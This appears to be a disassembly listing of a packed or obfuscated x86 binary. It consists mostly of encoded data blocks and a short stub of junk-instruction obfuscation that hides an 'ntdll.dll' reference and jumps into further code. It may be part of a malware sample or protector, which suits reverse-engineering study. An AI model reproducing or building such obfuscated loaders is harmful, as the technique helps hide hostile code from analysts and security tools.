		dd 108625E9h, 67AC8394h, 0ACA19505h, 5B11AFBEh,	25000000h
		dd 6155C524h, 0E7F727D7h, 355CE7F5h, 0B81086F2h, 409803E7h
		dd 0CD169BFAh, 0A7EF5FE0h, 0A724F9D6h, 40B7D68Dh, 0AA3CE36h
		dd 8BEB0000h, 44A57A1Bh, 93F241D4h, 5BDD5223h, 95150AEBh
		dd 505B5025h, 886DDD5Dh, 0D1A4149Bh, 0A372E262h, 0D6BF2F8Ch
		dd 3F62E1EDh, 0BE169DACh, 0C724FF3Dh, 0F1525F57h, 0FA69581h
		dd 1E44A9A0h, 9CC97A8h,	0E0000002h, 0F3C34EB2h,	0D0E1FBC3h
		dd 3B6A0070h, 169BFBD7h, 9B0B6996h, 6FA71798h, 0D6EDB19Eh
		dd 20B9350h, 0EBF323D3h, 30A18C58h, 0A20811EFh,	26FD4BDFh
		dd 7DEB2B04h, 0EB589B9h, 0E95ECA13h, 134CF08h, 664C4FD3h
		dd 3B031484h, 49B11021h, 14225E8Bh, 0C8A28D79h,	6678E84Bh
		dd 9680F04Dh, 6DC2D1B9h, 70FF9E0Eh, 6BB81152h, 9EFE949h
		dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh
		dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h,	0B243B310h
		dd 43863D21h, 2A169DADh, 864FD369h, 0B9AFD20Eh,	0A96A0065h
		dd 4CDED848h, 51627CACh, 56E882F2h, 0A266F1EFh,	189B8816h
		dd 0BE916EA8h, 0BC2C93A0h, 0C13191A2h, 8312F8D5h, 3DB4BACh
		dd 0E8D6C1D2h, 0E347D442h, 654A4373h, 5D218785h, 0E64B112Dh
		dd 49741686h, 1087C9F1h, 0C60BBA7Ch, 431CB605h,	0B6055980h
		dd 0AD13241Ch, 86ABB39Ch, 4FE4B121h, 50DC5CE8h,	0B89581F1h
		dd 657EB897h, 72079606h, 6DB1BA9Fh, 93FEB47h, 0EF4F0000h
		dd 2889967Fh, 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h
		dd 0B441B111h, 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h
		dd 0DA169D92h, 39942319h, 1086F218h, 73716668h,	755A5A4Fh
		dd 0C5F89F4Bh, 79A94D6Bh, 7CEC4C65h, 25FDC88Eh,	28169C40h
		dd 8BEA4717h, 0AA19431Bh, 16939D67h, 36553506h,	9EA0D070h
		dd 8BF9C727h, 89556610h, 0AC68194Ch, 7F6B71D2h,	87F774BDh
		dd 52C241EEh, 0BE58B0CBh, 41C1B3B1h, 8B5h, 8ED5DD9h, 4F26961Bh
		dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh
		dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9D928DD4h, 8DAF7016h
		dd 86F297B6h, 5BEAF410h, 1086F236h, 506E4B5h, 575F36A6h
		dd 67D75BA7h, 6CCF7648h, 0B169C41h, 0AD0F243Ah,	69CB583Dh
		dd 5635BDF9h, 51000008h, 3DB0BABh, 2CDE4EAEh, 1F5F9B2Ah
		dd 0CDDE169Ch, 5ED203C9h, 0F8077F78h, 0A212959Eh, 0D4EF9B74h
		dd 16933789h, 0AEE858DFh, 0CEC838B5h, 0EE4CB52h, 93371237h
		dd 0E7C8D916h, 68E1CC43h, 9DBDDF05h, 1528Bh, 0C8249F00h
		dd 0E2455E58h, 0CC2F4472h, 7A55C540h, 55C5273Ch, 0A11173C0h
		dd 7370375h, 8C372537h,	1086F245h, 48731728h, 1086F259h
		dd 20231324h, 0B2AC4679h, 86F2CE13h, 0EE9CAD10h, 0A64FBF3Dh
		dd 0BC2C8FA4h, 0E831947Ah, 931086F2h, 4CBDAD82h, 0C89680F0h
		dd 4FF3B98Fh, 8648ADF4h, 587F5010h, 0E08AB51Bh,	863B80C5h
		dd 0F666C610h, 0ED4EB3C0h, 863B3356h, 0C6E9BA10h, 12370ED0h
		dd 0D910863Bh, 812CDDC8h, 3A774362h, 0F7A248B8h, 1C7DFFC8h
		dd 836D243Bh, 3FE6F2CFh, 10860C1Ah, 0DFFFD0E1h,	0B7FF6FD2h
		dd 614924C6h, 63D355A1h, 6B6C724Ch, 0B880F629h,	0AE0DFD46h
		dd 10869863h, 140D091Ah, 0DD522393h, 0B7ACEA5Ah, 0F3D2C434h
		dd 0CB2C9B42h, 0A652835Bh, 0CC0E473Fh, 79A6C5A5h, 2A9086F6h
		dd 0AD182656h, 169CCDFDh, 59C6AF80h, 0CA3066D6h, 0B933D2FAh
		dd 48FE59DAh, 0D75A5767h, 0AC5E2F67h, 39FA1BAAh, 0A8791693h
		dd 0AF1E876Eh, 4E279718h, 0A8EE5EE1h, 0E16DCDE6h, 2EDCF363h
		dd 0BA84B484h, 8B88F879h, 82D4B626h, 89C8C3C3h,	0BD819210h
		dd 0A2DD2798h, 9768AE1Eh, 0A60E0FC0h, 0F57AA9C4h, 0C143F085h
		dd 1D488D51h, 0C0308C90h, 263A8FF7h, 0AB032944h, 4003DB0Bh
		dd 169C0B50h, 91A1C2Dh,	0CF5D38A8h, 2DC0CABh, 0AE050B1h
		dd 91F1420Ch, 7218F521h, 86F20A53h, 913CF310h, 0A81A35B8h
		dd 5FDCD597h, 36BAA7EFh, 2101E9C6h, 38h, 55C524F5h, 0F2BFE261h
		dd 0F7C31086h, 0F23B5EE5h, 0F1C21086h, 982F9E19h, 0E576B119h
		dd 4220ABD5h, 0B88B516Dh, 1086CC91h, 0D49F4B5Ch, 8729E8F1h
		dd 9D822210h, 96FFFFFFh, 6557C724h, 0CAB4327h, 0C486E0DCh
		dd 7B3CDC93h, 32D8CDC9h, 2673A60Ah, 2AB968A8h, 0CD000000h
		dd 7BE3624Fh, 0AC153E96h, 2E684710h, 40FFB951h,	0F44F2C10h
		dd 1086F2ADh, 4F3D7F50h, 55C5246Bh, 0B5725667h,	3Fh, 0DC0CABD1h
		dd 4F8D4FE0h, 86F2ADF4h, 3257EE10h, 0B91086F2h,	836738E8h
		dd 86F2F118h, 652D0A10h, 189EC8ADh, 9AFB22Fh, 3FE3E62Eh
		dd 6B4F2C10h, 8955C524h, 0D7FC364Ch, 9E1C4CAh, 24725611h
		dd 0D65D59C9h, 1086F2B3h, 606756BFh, 0BEA075E5h, 0D6CF875h
		dd 8BA4999Dh, 0EDD8B28Bh, 1087023Bh, 0F463DB49h, 4FAFFFFFh
		dd 286EDE62h, 5244B43Bh, 7BB8527Dh, 0EB2E95F6h,	301086F2h
		dd 86F24C95h, 0A21E2F10h, 0CFD7BE91h, 64DFFF2Fh
		dd 169C1FECh, 0F76A071h, 1693DFCEh, 25CD00B7h, 4E3CAC0Ch
		dd 0BD4ADA5Fh, 1A629Dh,	7F580000h, 0F97A9F0Fh, 0E850AE89h
		dd 2EBD8FF1h, 9AB5766Ch, 1B54CF0h, 0D1000000h, 3DBF0BABh
		dd 2DCE2CDh, 0B6E050B1h, 0CA9231D9h, 0AB169BF7h, 2B9AC49Ah
		dd 1693F7E6h, 58D6B485h, 6876E64Bh, 4076E64Bh, 0F5D09B4Fh
		dd 1693F69Ah, 0FEC0308Ch, 0F43C65E0h, 0EEBF1693h, 42C271FCh
		dd 9BCB0CD2h, 227732FCh, 2CF21CCEh, 894E9332h, 1C2D1693h
		dd 0BA8C4B6Eh, 75F7D0FFh, 40C37005h, 75D00ED0h,	1693892Ch
		dd 4D0CFECFh, 0D4ED5DDEh, 64634A37h, 54529F07h,	9B246DD8h
		dd 0F6C71693h, 76B97FE1h, 4F75C559h, 0F151DD62h, 97B89581h
		dd 0D1BCAE9Fh, 9728266Ch, 0D747A50Eh, 373D2DFh,	75153A13h
		dd 113C5h, 0EFD20300h, 1888EA0Bh, 0B316211Eh, 7CA04AF3h
		dd 0DDDF0FABh, 0C3248D4Fh, 806A6353h, 86F2F925h, 19250A10h
		dd 0F2598043h, 13241086h, 6B4FC377h, 70E0624Fh,	1EAE1F9Ah
		dd 6557C724h, 0CAB4327h, 0A286E0DCh, 71E1624Fh,	26BF1A99h
		dd 872568A8h, 1000000h,	0EC69864Fh, 18E18D48h, 58794872h
		dd 86FFA4EDh, 59764710h, 0A5EC5785h, 481086FFh,	4F9F9377h
		dd 0C281E262h, 1086F29Fh, 88624D5Eh, 0F2CA0FB6h, 0E0B11086h
		dd 1C4500DEh, 7D1086F3h, 86F383C6h, 0E7596A10h,	4F0034D6h
		dd 9A70E062h, 2DBD9AC4h, 5D498009h, 24967E6Ch, 47B739C5h
		dd 8D517E4Fh, 5F57C724h, 387EEE52h, 9A826847h, 0FBCA9456h
		dd 1086F2D6h, 0F2499033h, 63341086h, 16FEECBDh,	2CB5h
		dd 0CABD100h, 624FE0DCh, 0C49A70E0h, 0D801C49Ah, 0A31086F2h
		dd 84CDF892h, 0F51086F2h, 6B4FE4D8h, 8955C524h,	5E58C828h
		dd 56918961h, 0FED5B572h, 0E2F3FFFFh, 7654F44h,	48EC9E04h
		dd 5F57C724h, 40F7587Dh, 2FBD96F6h, 0FD6DCE3Bh,	7FFD3618h
		dd 0FA62A71Eh, 38091086h, 3C2E1F17h, 6C72A256h,	0D354E047h
		dd 755A3363h, 0CC04BF95h, 91169BF3h, 0EE2F9680h, 971693E3h
		dd 0EC45AD20h, 18F52191h, 0E35A7F46h, 10211693h, 2EAE3B7Ah
		dd 8E509DBDh, 93EB92B7h, 0A2485916h, 3D82h, 0BAB9600h
		dd 0F04003DBh, 2B169BF5h, 503E2431h, 0C2785BBFh, 93B73E63h
		dd 0FEECBD16h, 9A0A6D9Ah, 0B28CA39Ch, 0A3930381h, 0EF56C0AAh
		dd 1693B7AEh, 5CEDE057h, 9DBD5ED1h, 0BE57h, 0C7243300h
		dd 0CA2A8757h, 9886B05Ah, 73AC149Bh, 22FFD281h,	0E0513916h
		dd 0E454D662h, 9E2F3CBh, 457FB0E7h, 0E9FA34D6h,	13441A8Ah
		dd 0C8C77C20h, 81AB5FCCh, 0D2A31370h, 8627E2EFh, 3FAF0C10h
		dd 0FA6AC956h, 3E8A2EBCh, 734C4ABAh, 7BC3825Ch,	0FA169B21h
		dd 9A5E4C29h, 0D85F546Ah, 0B9512E68h, 20A3B9A3h, 16932AF9h
		dd 0ECD7B384h, 108B45A4h, 4D667849h, 8B987DEDh,	0C5E6B727h
		dd 0A2B1BE13h, 25F3094h, 0CF2F0000h, 869B65Fh, 0C726FD98h
		dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh
		dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D95h,	0C62443F9h
		dd 1370BF56h, 4F66D2A3h, 286EDE62h, 39FDB357h, 7FFC3509h
		dd 5436070Fh, 0F5F74302h, 0BD86169Bh, 68E80145h, 1CF04579h
		dd 1E4B8733h, 0D922631h, 7636DF13h, 0CE2C8559h,	382AC5Eh
		dd 1693BADAh, 0EDC491A3h, 0C5CD506Ah, 4BAA6AF0h, 858BD6Ch
		dd 6A883762h, 3A7CEC49h, 83E6A545h, 99DBD7Eh, 0C2h, 0B68D4F1Dh
		dd 1086F293h, 70A1495Ah, 0A973A313h, 0F2C910B3h, 0E3B41086h
		dd 38A80A07h, 0F71A77FEh, 57D41086h, 0A2210EE7h, 191A0432h
		dd 15EA2C9Ch, 2F7B3B75h, 2B7C5BCBh, 37A7A9Ch, 8B3A042Bh
		dd 169BEFA3h, 0E858D5C2h, 0E0FED1AEh, 690171D3h, 0ACDC9C0Ah
		dd 0CC92CC92h, 93ECD0F9h, 1B8A9B16h, 1693ECF6h,	0D7C6A475h
		dd 108B875Ch, 0BFF4CADBh, 0F52ACB3Bh, 3D780575h, 1EB1BED0h
		dd 1479C18h, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh
		dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh
		dd 0FA9B0B68h, 1B3E05C9h, 0E2169D9Ah, 0C6241B21h, 1370BF56h
		dd 2B88D2A3h, 605D59C9h, 0C724928Ah, 0F1525F57h, 0F2C6F481h
		dd 0D1E2FCC2h, 47150171h, 86F2557Ch, 28071810h,	10CF6342h
		dd 614E169Ch, 7D416EDEh, 0AE47B734h, 0CC920281h, 0A5910167h
		dd 0E654C2A8h, 69DCE212h, 10B72073h, 0A7179B98h, 3BC2D3C3h
		dd 0B1BB2BFEh, 0B6EF5361h, 0D8000000h, 1807EE5Eh, 0D74C2999h
		dd 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h, 6DDD62D1h
		dd 0A9199B88h, 64D457CCh, 0AD184691h, 169D9A64h, 0ABB68607h
		dd 4003DB0Bh, 16A23E4Eh, 0CD14AFADh, 23169DBEh,	15EA2C9Ch
		dd 0D0F09AABh, 49AAB7FFh, 84E73CD9h, 0D8A32214h, 4778E2C0h
		dd 59DAEDE0h, 94170CE9h, 3E67EF2Ch, 4D62DB3Bh, 6B528349h
		dd 0D7E492CDh, 1C9C8D7Dh, 0BF8B6AACh, 87D7E696h, 29C186EAh
		dd 2B883F6Eh, 31901C9Fh, 0FDC1EEC1h, 27C333B4h,	54B1024Ch
		dd 0A60506E4h, 391E0036h, 14845329h, 0C9F9912Dh, 0Dh, 6F6D2FDDh
		dd 86F28DD4h, 0AB5F7010h, 5ACA2487h, 74E4475Ch,	63D33142h
		dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
		dd 7AEA4F64h, 0FB68783Ch, 89000070h, 0E6892434h, 4C681h
		dd 0EE830000h, 24348704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edx, 439B7EFBh
		inc	edx
		neg	edx
		push	edi
		mov	edi, 0B6493298h
		sub	edx, edi
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	3286h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, edi
		mov	[ebx], edx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 3Fh
		dd 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh, 8FB8F203h,	3061B69h
		dd 85C650C5h, 61509C5h,	17256847h, 0B5FFCF38h, 6151685h
		dd 3B38858Dh, 0D0FF0615h, 858DD88Bh, 6151E95h, 1046850h
		dd 0D3FF0000h, 9C585C6h, 68530615h, 8307F8BFh, 1685B5FFh
		dd 858D0615h, 6153B38h,	8589D0FFh, 61B4C33h, 9CDBD83h
		dd 0F000615h, 0B84h, 599D8B00h,	0E9061525h, 5, 0BBh, 1006800h
		dd 0B58D0000h, 61B4C37h, 95FF5356h, 6151375h, 4C37B58Dh
		dd 0F003061Bh, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 1B4C3785h, 95FF5006h,	61B4C33h
		dd 58E0FF58h, 821FA82Bh, 18594DC3h, 0DF733067h,	0A41FB15Eh
		dd 384BF9D2h, 0ED0EA29Dh, 85061A0Ch, 50785165h,	0BE1E46F8h
		dd 7132FA97h, 232C18C2h, 362D37CFh, 0E15C3F4h, 3B36F415h
		dd 375A298h, 0F440E509h, 7D1CA396h, 0BE1FF9E8h,	9410292Eh
		dd 0E3311F27h, 0E92D9396h, 50h,	6885C6D3h, 0E61D8C93h
		dd 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh
		dd 0FEB9h, 0Ch dup(0)
		dd 68AE9h, 6CC06800h, 0BBE9061Bh, 68FFFA12h, 61B6D9Bh
		dd 0FA12B1E9h, 6E3868FFh, 0A7E9061Bh, 68FFFA12h, 61B6EF7h
		dd 0FA129DE9h, 6FCD68FFh, 93E9061Bh, 68FFFA12h,	61B70A6h
		dd 0FA1289E9h, 2090EEFFh, 0EB5BDE55h, 2898150Ah, 0E252D64Dh
		dd 2E9E1C13h, 685B5047h, 24FB9A0Ah, 6DC253C3h, 29F69F0Fh
		dd 8BB5ACAh, 995A7F46h,	6021169Dh, 1FB5DCh, 0BEF30000h
		dd 0F0CDC939h, 0C724221Ah, 0C92A8757h, 6E83B159h, 0BDF89D0Dh
		dd 1086F290h, 1FF666C6h, 0DB0BAB19h, 0D949AE03h, 0D0982B31h
		dd 5D169BF2h, 0A2EB4A4Ch, 0B41693F2h, 0D4CDC939h, 16B1E555h
		dd 3BB309Fh, 0A584AA76h, 2198321Dh, 0EB0E9BAEh,	39969DBDh
		dd 72000002h, 0E69A57B2h, 351DA8B6h, 38169BFBh,	0F88ACF76h
		dd 84711693h, 8F80B626h, 0D4EF8FA0h, 0D2A09098h, 0C434B6FBh
		dd 9CCC6C26h, 407F03C2h, 2DFEDCD8h, 73BF7FE9h, 0A59A9C0Ch
		dd 0F87FB48Ah, 0E95CE288h, 0C6C7D778h, 322C3203h, 8A5AEB25h
		dd 794536BCh, 0F73587CAh, 0B55566C6h, 0EE87F774h, 0CB52C241h
		dd 0E779EAEAh, 0A17BF7FDh, 0E4000004h, 0A47B1A8Ah, 0F340D545h
		dd 0DC532292h, 1A09EC5Ch, 4E4D2898h, 70E0625Dh,	0B9298EA5h
		dd 75E547DCh, 0C03093A0h, 9BCA235h, 169D9EC0h, 2452EAABh
		dd 0D95F57C7h, 48AF0425h, 0F2246DD8h, 0F6C71086h, 763E05D9h
		dd 0A5169BF9h, 77BF2F8Ch, 0E3B4E486h, 51A0AB12h, 7B617DADh
		dd 0B26C3B5Ah, 64DF7E71h, 16938D3Dh, 2AC0EFC0h,	8E84977Bh
		dd 39C5D610h, 1FAB0E23h, 66042B9Bh, 0E22E937h, 66966AA5h
		dd 0B005ED58h, 97A8B253h, 0F674BD9Fh, 74BF9086h, 0ADE387F7h
		dd 3E05D909h, 0BC4226C3h, 0A7B5899Ah, 46CB0EB5h, 0E9B2A073h
		dd 0CE9D290Eh, 907A5583h, 0AEB020A3h, 1B9A2685h, 0BD926BABh
		dd 979CBECDh, 4AC7A313h, 94BD88E9h, 57A073DCh, 99946946h
		dd 420CF683h, 3C6D034h,	3FBF0000h, 78F926CFh, 37B66D08h
		dd 7F012EC7h, 39B9660Fh, 3C6F2CC9h, 4910181h, 0BD58C82Fh
		dd 0FF960666h, 9263D330h, 63A61D41h, 0A169D9Fh,	0C724B389h
		dd 25D95F57h, 6A5AE9F5h, 0EB169BF6h, 0CB6B3BDAh, 9800C39Bh
		dd 0E510B759h, 3D40AD4h, 0F3A53A06h, 93806A83h,	0D747A430h
		dd 0B7DFF6DFh, 75532CFEh, 93A0755Ah, 64D6C030h,	7D5A6494h
		dd 0BAAA05FBh, 0DD5F0B7Bh, 2366DDFFh, 0CA1CB675h, 0EAB211F9h
		dd 291AAB71h, 0FC3AAA08h, 3B1484E7h, 0BF5E6F4Fh, 0ABA626C2h
		dd 299B171Dh, 5C000003h, 8CA372E2h, 4BD8BD2Dh, 849B7AEAh
		dd 52E1B424h, 0B6F580F0h, 0C838BAF5h, 171F62Dh,	0CD3DBF74h
		dd 878FB28h, 0D1745A6Dh, 169D9C88h, 244AF273h, 0D95F57C7h
		dd 0E959D925h, 35BBF8C6h, 0EFCD1C5h, 9B1D1648h,	0D0643F2Bh
		dd 65169C12h, 9A03C154h, 17000001h, 0DF9F72B2h,	2C348FAFh
		dd 51169BFBh, 0F8ADF44Fh, 46E71693h, 0BBCE65D4h, 456A3BE5h
		dd 0AA830AB9h, 1CDC03D6h, 0A70CD2ECh, 8A39D141h, 0EDCE2132h
		dd 83A04D1h, 0AD0B077Bh, 0E1C6F316h, 86A97A11h,	175AB4B1h
		dd 0AE0BB49h, 27918596h, 0AC172757h, 17F822BDh,	0E2CFEFC0h
		dd 0F24F161h, 5A613CACh, 89B66BF8h, 26A076Bh, 9B1B0000h
		dd 54D54A2Bh, 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h
		dd 987DED4Dh, 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh
		dd 2E169D9Ch, 0C724CF6Dh, 25D95F57h, 5A5AE9F5h,	0DB169BF9h
		dd 0A3822BCAh, 0C49ACA6Eh, 0EE9C0C6Fh, 0FC75DD68h, 27F8108Eh
		dd 5B7E4517h, 221CACE3h, 0A0237911h, 9342CA56h,	0EBF51DE1h
		dd 0E2F3CA8Dh, 0F97FA221h, 2DFE8B8Dh, 40893C02h, 2B8B8DF9h
		dd 9A29351Ah, 8D971102h, 1EC0B4A1h, 0BADDDF65h,	0F0CDC939h
		dd 0BA8B2BDFh, 1392B3A4h, 3687EF39h, 0B050DA54h, 7C56D188h
		dd 132B86Bh, 1D210E7Eh,	0E0964D38h, 14F66AFFh, 33868342h
		dd 0C4D5B7BFh, 0AE3AB9FAh, 0E2DBDB4Bh, 78FB28CDh, 0E2191ECh
		dd 0B2E7666Fh, 0F738116h, 194h,	502595F1h, 7EE5EE3h, 482D9D18h
		dd 10E555DBh, 462F9F23h, 3675A51h, 0CA2D0293h, 864BB5Ah
		dd 0C526FD98h, 4717C055h, 9D9D557Ch, 0E5571816h, 8757C724h
		dd 6155C52Ah, 0AEF3526Ch, 4D1086F2h, 1AA08E7Ch,	36283666h
		dd 0E9F6F21h, 0E981A9F8h, 9B63CABAh, 0DBBA8B16h, 0DB0BAB4Dh
		dd 0DD4DAE03h, 0B0E656D6h, 9A292BDFh, 16A25DC0h, 346FDDFh
		dd 0EA169D99h, 1B3E05D9h, 0E2169D99h, 0B48539D1h, 0BA2A89AAh
		dd 77E744DBh, 8BCE7567h, 9169D99h, 0AD4308A8h, 8B9C0442h
		dd 0D3B72788h, 0FF2FCF59h, 366464DFh, 28F910B9h, 2E9E1D16h
		dd 0EB5BD847h, 49793DABh, 0D58ECE75h, 0C80D1AAAh, 348F4165h
		dd 2CDBCEDh, 0E998BF90h, 2A8E7C4Fh, 57E18419h, 7C7AABA0h
		dd 0BBF8h, 0FC6CCA00h, 37A70A19h, 474D15Eh, 0CE3EC271h
		dd 0A7AF827h, 447F2C6Bh, 909F76E6h, 49D6BF2Fh, 859A7BEBh
		dd 0F4DFB626h, 82365BEAh, 34B5169Dh, 0DB0BAB08h, 5D444003h
		dd 81916A2h, 0AB7A2136h, 0BC89F901h, 357E60CEh,	67A446B6h
		dd 32019404h, 0CE3561D1h, 793E1255h, 81013214h,	8F3E7911h
		dd 7EEE4E63h, 0AC1C9F8Ch, 278CC592h, 1047892Fh,	0A7041B7Ah
		dd 381DFF37h, 0CB6D16C0h, 0FB38D2B3h, 4E370D75h, 54C9BDD6h
		dd 0D1383B7Bh, 228AE9DEh, 0D8E42B45h, 1BFAD5DBh, 2737A704h
		dd 0FB3BAB0Ah, 0E0AE6802h, 0C564E6F7h, 2312EFAh, 4A7A1080h
		dd 8, 5ECE3380h, 4B2F88ACh, 5C5ACA24h, 4274E447h, 3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 0E0895078h, 405h,	42D00h,	4870000h, 1C895C24h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 53240C89h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	0CABA5224h
		dd 52061B6Bh, 0C9243481h, 596F8979h, 79C9F181h,	835A6F89h
		dd 248904ECh, 24048324h, 53515B04h, 0DF1C68BBh,	245C015Fh
		dd 438F5B04h, 86B8108h,	5FDF1C68h, 5B2434FFh, 4C481h, 34FF0000h
		dd 0C4815924h, 4, 0FA0C3DE9h, 0B8124DFFh, 61B7186h, 0E0FFC503h
		dd 254887FCh, 2D638E23h, 34E0D113h, 7A56D446h, 38659BD0h
		dd 17A4D178h, 575FC160h, 67333861h, 40028B37h, 2AF0C8B6h
		dd 6B0942D9h, 3C9280Ch,	46465489h, 45EA9FABh, 6FA40953h
		dd 70791547h, 5F390CA2h, 11E8h,	1B306D00h, 4651D700h, 150AC1F6h
		dd 992D563Ch, 0F50BE70h, 58Fh, 0E7816600h, 595EDDEEh, 2E99F681h
		dd 0C1810F47h, 6293h, 186968h, 0E9605A00h, 13h,	36CBAA62h
		dd 0C0DE8CC6h, 0E4B718EAh, 3638C76Bh, 66E534C5h, 57C2DB81h
		dd 0F31FF61h, 78Eh, 86BA6000h, 612993EAh, 0C081F558h, 80BE0F8h
		dd 0C0E1C081h, 0BE932F3h, 1E000000h, 8A12C9BDh,	75FF9BD7h
		dd 0E8814C74h, 480E5569h, 0D408CF81h, 815010CFh, 8B2616F6h
		dd 56018F09h, 14E9h, 55D01900h,	0A64452B3h, 42B20FE6h
		dd 8E412593h, 5C4CA5C2h, 0E9815E33h, 4FFFB923h,	1FC181FCh
		dd 0FC4FFFB9h, 1EA81h, 850F0000h, 10h, 25E9FA8Ah, 69000000h
		dd 36AA0F6Eh, 0A5112F47h, 860Fh, 6EE90000h, 54FFFFFFh
		dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 98EE8AD3h, 27E9h, 0DE144B00h
		dd 54h,	8 dup(0)
		dd 44FE9h, 748C6800h, 0BBE9061Bh, 68FFFA0Ah, 61B74EEh
		dd 0FA0AB1E9h, 761F68FFh, 0A7E9061Bh, 0D0FFFA0Ah, 0C06F0676h
		dd 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h, 5CCC2E61h
		dd 95056AB9h, 61D13300h, 0AC1C9F94h, 75D0FEC9h,	169D812Ch
		dd 24EE4ECFh, 536056C6h, 0C5F580F0h, 46FDC1F1h,	169C1BBAh
		dd 171D0E1h, 7AFB3815h,	5340600Ah, 67AF80F0h, 93DBC10Ch
		dd 0DC03AE16h, 0BD43006Dh, 2A5889Dh, 4FA40000h,	9A70E062h
		dd 0F8C82927h, 0CB4FF6C8h, 0B2169BFBh, 0F23F1DE1h, 5D482292h
		dd 0BF952A9h, 1B9F94CAh, 82D7FAABh, 859613FCh, 0EA0BABE5h
		dd 0FC82365Bh, 0DAE4B513h, 0FC82266Bh, 0DBF4C513h, 0DD4DAE03h
		dd 3006E4D9h, 35A5052Eh, 3F5E0C01h, 15E6789Bh, 0D3655162h
		dd 0F1EBF323h, 750B70E4h, 0AA407565h, 136D8AFBh, 0E6F8C91Fh
		dd 17FE6ECDh, 623BAB08h, 0AE471D81h, 0A2F45066h, 0B0000002h
		dd 200FE656h, 0CF6431A1h, 817FE6Eh, 0C65D38A8h,	8A21F464h
		dd 0BC2C8E01h, 75E54AD9h, 0C13193A0h, 0C7CFF34h, 0D5705E69h
		dd 169D868Ch, 0AB8EAE6Fh, 4003DB0Bh, 16A265B7h,	48697546h
		dd 6FDF5EEAh, 0FC7EB540h, 0E12B8A8Ch, 0F3169D81h, 0EDB12890h
		dd 9AFC031Ch, 0D8EDE8B5h, 0C8EEB7CFh, 2406Ch, 44B41200h
		dd 8FFF82B1h, 4CBC39E6h, 86F67AA9h, 52C240EFh, 0ECA7E4C3h
		dd 0A8771E8Eh, 0F13ED747h, 0DD522393h, 0BC07EE5Eh, 86EE3392h
		dd 0C8D169Dh, 0DB0BAB30h, 65B74003h, 0CFE416A2h, 0AE12F868h
		dd 0F31A999Dh, 7C169D81h, 1648AA15h, 9D816AAFh,	0B40F1116h
		dd 169D816Dh, 7A103F10h, 0C390AE3Bh, 161369Dh, 24520000h
		dd 7D5F57C7h, 0A248B834h, 0D3A21271h, 0DBE313E3h, 0E850B001h
		dd 647B5F52h, 76143BB2h, 9BF51347h, 0CDC9DA16h,	93E52766h
		dd 7669D016h, 0BD3566D3h, 2FEE9Dh, 0ABCA0000h, 4003DB0Bh
		dd 169BF5F0h, 947ABC8Dh, 0C1A9199Fh, 93F1BBE2h,	41724416h
		dd 0B753C3h, 0AB0C25CDh, 0D9644F3Bh, 5F9DBD1Ch,	9Fh, 3BC7243Bh
		dd 714E48B8h, 0E74B585Eh, 0D1323F77h, 0BF3C3561h, 0BD426F4Fh
		dd 0F2A0E95Ch, 7A4B1086h, 0DBD6B555h, 1086F790h, 5E75A8ADh
		dd 6AF47BD8h, 0C0309380h, 81B18535h, 9BC806BDh,	0E0B1169Eh
		dd 0E858D5DEh, 582A6FD6h, 0C0D11691h, 9B1F142Ah, 0B3004A2Bh
		dd 0FD2EDC4Ch, 6F700D7Dh, 70B7D3EFh, 10FFE86h, 0C3430000h
		dd 0C6DC253h, 0CB2AF99Ch, 365BA5Bh, 0CD2D0293h,	0A8E3B85Dh
		dd 700575F5h, 29CC3CC3h, 6B0A7AFAh, 2EC737B4h, 0C70AB9A5h
		dd 0A6169D84h, 0C62457E5h, 1370BF56h, 2466D2A3h, 525F57C7h
		dd 940465F1h, 2CCCDABBh, 6FD1E2FCh, 24C6B7FFh, 4188B312h
		dd 7AA7169Ch, 0BE8F87F7h, 664CD91h, 9BC2FF96h, 0CD1693BDh
		dd 0F7E0FE6Eh, 99A6BE07h, 0A7B9187Fh, 458F0B2Ch, 35197416h
		dd 0D02E2D20h, 0DD8D1A68h, 585ECE2Ch, 71EC6176h, 994E020Fh
		dd 7BD1F1h, 0ABE50000h,	4003DB0Bh, 16A265BBh, 2C457142h
		dd 69B65FCFh, 199C9A0Ah, 65572D59h, 90624DD4h, 84B222A3h
		dd 1FA6AC8Bh, 0CF8DD807h, 18DEE1Bh, 233B1484h, 4B3FAF0Eh
		dd 94151E40h, 6D1DF224h, 0EFCF3FBCh, 38D242C2h,	2283E5FEh
